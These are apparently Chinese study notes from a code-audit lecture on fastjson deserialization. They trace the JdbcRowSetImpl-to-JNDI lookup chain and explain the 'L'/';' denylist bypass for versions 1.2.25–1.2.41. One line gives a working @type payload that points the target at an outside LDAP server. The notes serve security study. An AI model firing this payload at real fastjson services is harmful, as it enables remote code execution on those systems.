代码审计

122---fastjson

对java中的json数据处理、增删改查

10min fastjson的配置

低版本 1.2.24

19min fastjson自带的type，会执行调用类的set get方法。

27min 打断点，调试链子。

31min 调试到关键点，对type进行if判断，用到了反序列化函数。

44min 换一个版本进行调试，关键是找到lookup这个方法，这里就是触发jndi注入的方法，

```
cc 链大致关键流程：
parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeseria
lizer(反序列化)->
JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->conn
ect->lookup(JNDI 注入)
```

50min ------55min

58min 重新理

cc链： maven导入fastjson的对应版本后，然后插入恶意的json数据，执行，调试端点，一步一步向下跟，找到对应的反序列化函数ObjectDeserializer，在找到setDataSourceName，然后setAutoCommit方法，他的connect不为空，就执行else语句里的函数，在触发lookup函数。

1h08min ，模拟函数进行测试。官方自带的链，所以poc写法后面的是固定的。

1.2.48之前：

1.2.25-----1.2.41版本区间。

1h12min

```
#FastJson 1.2.25-1.2.47 CC 链分析
autoTypeSupport 默认关闭

1、开启 autoTypeSupport：1.2.25-1.2.41
条件：1、开启 2、加 L 和;才能成功
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
testStr={"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName
":"ldap://192.168.139.1:1389/lvkr9r", "autoCommit":1}
CC 链大致关键流程：(绕过黑名单前加"L"和后加";")
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->lo
adClass->newClassName
```

poc条件：为什么要加L 和；　autoTypeSupport开启： 1h20min

这里为什么加L 和；因为是要绕过一个黑名单，但是后面他又会将L 和；去除从而还原。

将 autoTypeSupport关闭：

1h32min　会进入异常的if 语句，然后就不会执行后面，链子就中断了。

通杀poc：autoTypeSupport开启关闭没影响。

1h43min-----1h49min

关闭不进对应的if语句

2h05min

123: